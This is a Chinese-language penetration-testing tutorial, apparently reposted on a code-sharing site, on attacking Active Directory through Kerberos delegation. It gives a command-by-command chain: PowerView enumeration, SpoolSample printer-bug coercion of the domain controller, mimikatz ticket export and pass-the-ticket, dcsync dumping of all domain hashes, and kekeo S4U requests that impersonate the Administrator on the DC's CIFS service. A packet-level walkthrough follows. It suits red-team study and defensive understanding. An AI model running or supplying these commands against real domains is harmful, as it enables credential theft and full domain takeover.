【域滲透】Kerberos委派攻擊


一、委派簡單介紹

關於委派分別有:非約束委派、約束委派、資源約束委派

域中如果出現 A 使用 Kerberos 身份驗證訪問域中的服務 B,而 B 再利用 A 的身份去請求域中的服務 C ,這個過程就可以理解為委派。

用戶需要訪問主機s2上的HTTP服務,而HTTP服務需要請求其他主機的SQLServer數據庫,但是S2並不知道用戶是否有權限訪問SQLServer,這時HTTP服務會利用用戶的身份去訪問SQLServer,如果User有權限訪問SQLServer服務才能訪問成功。

 

一、非約束委派+Spooler BUG利用

powershell -exec bypass Import-Module .\PowerView.ps1

查詢域中配置非約束委派的主機:Get-NetComuter -Unconstrained -Domain yiwang.com

利用條件,需要設置一台主機賬戶開啟了非約束委派域內機器的權限,實際可配合powerview腳本查找主機,域控主機需要為win2012 server r2 以上 版本,Print Spooler服務默認是自動運行的

 

 

Spooler利用原理:利用Windows打印系統遠程協議(MS-RPRN)中的一種舊的但是默認啟用的方法,在該方法中,域用戶可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法強制任何運行了Spooler服務的計算機以通過Kerberos或ntml對攻擊者選擇的目標進行身份驗證。

GitHub POC:https://github.com/leechristensen/SpoolSample  //此處使用域用戶去執行,否則會導致程序崩潰需要將此域用戶添加入本地管理員組為mimikatz做准備

命令: SpoolSample.exe dc.redteam.com WEB-1.redteam.com

使用mimikatz導入票據

privilege::debug  //提升權限

kerberos::purge  //清除票據

sekurlsa::tickets /export  //導出票據

 kerberos::ptt [0;862bdd]-2-0-60a10000-DC$@krbtgt-REDTEAM.COM.kirbi  //導入票據

lsadump::dcsync /domain:redteam.com /all /csv  //通過dcsync獲取域內所有hash

二、約束委派

由於非約束委派的不安全性(配置了非約束委派的機器在 LSASS 中緩存了用戶的 TGT 票據可模擬用戶去訪問域中任意服務),Kerberos 協議進行拓展,引入了 S4U(S4U2Self / S4U2proxy), 運行服務代表用戶向 KDC 請求票據。
S4U2self:(Service for User to S4U2Self) 可以代表自身請求針對其自身的 Kerberos 服務票據(TGS);如果一個服務賬戶的 userAccountControl 標志為 TRUSTED_TO_AUTH_FOR_DELEGATION, 則其可以代表任何其他用戶獲取自身服務的 TGS/ST。
S4U2proxy:(Service for User to Proxy) 可以以用戶的名義請求其它服務的 TGS,限制了 S4U2proxy 擴展的范圍。

簡單來說被設置約束委派服務能夠通過S4U2Self向KDC為任意用戶請求訪問自身可轉發的服務票據,接着就可以通過S4U2proxy使用ST票據向kDC請求訪問B的票據,從而獲取B的權限。

在Windows系統中,普通用戶的屬性中沒有委派(Delegation)這個選項卡,只有服務賬號、主機賬號才有,也就是當前用戶賬戶下存在相對應的服務,比如mssql,http等等服務

 

 

 

所以首先需要把一個用戶設置為服務賬戶:setspn -U -A https/golden web

查找約束委派賬戶:AdFind.exe -h 192.168.237.9 -u web -up Password@123 -b "DC=redteam,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

 

已經知道服務用戶明文的條件下,用kekeo請求該用戶的TGT

tgt::ask /user:web /domain:redteam.com /password:user@123 /ticket:yuyonghu01.kirbi

使用這張TGT通過偽造s4u請求以Administrator用戶身份請求訪問dc CIFS的ST

 tgs::s4u /tgt:TGT_web@REDTEAM.COM_krbtgt~redteam.com@REDTEAM.COM.kirbi /user:administrator@redteam.com /service:cifs/dc.redteam.com

S4U2Self獲取到的ST1以及S4U2Proxy獲取到的dc CIFS服務的ST2會保存在當前目錄下

導入TGS服務票據,訪問對應的服務

kerberos::ptt TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi

二、約束委派利用分析

AS-REQ以WEB$服務身份向KDC請求TGT票據,是可轉發的kerberos.KDCOptions.forwardable=1

AS-REP KDC返回TGT票據

 

第三個TGS-REQ(s4u2self)包是用上一步得到的TGT票據,以administrator的身份向TGS申請了一張訪問自身服務(WEB$)的ST票據,叫他ST1以免和下面混淆,設置可以轉發。

 

 

第四個TGS-REP返回administrator的st1票據給WEB$機器

 

 

第五個TGS-REQ包(S4U2Proxy),WEB$得到ST1后,會additional-tickets 處帶上ST1再次向KDC發起S4U2Proxy請求,以administrator的身份請求一張訪問域控DC CIFS服務的票據.

 

 

 第六個TGS-REP包,KDC返回的就是以 administrator 身份訪問域控DC的CIFS服務的ST票據,為ST2(TGT_administrator@redteam.com@REDTEAM.COM_cifs~dc.redteam.com@REDTEAM.COM.kirbi)

參考鏈接:

https://mp.weixin.qq.com/s/_wwTo7JcFV_lXaxhgMFJCQ

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.html

https://xz.aliyun.com/t/7217#toc-0

https://3nd.xyz/2021/01/18/ad-kerberos-delegation-md.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM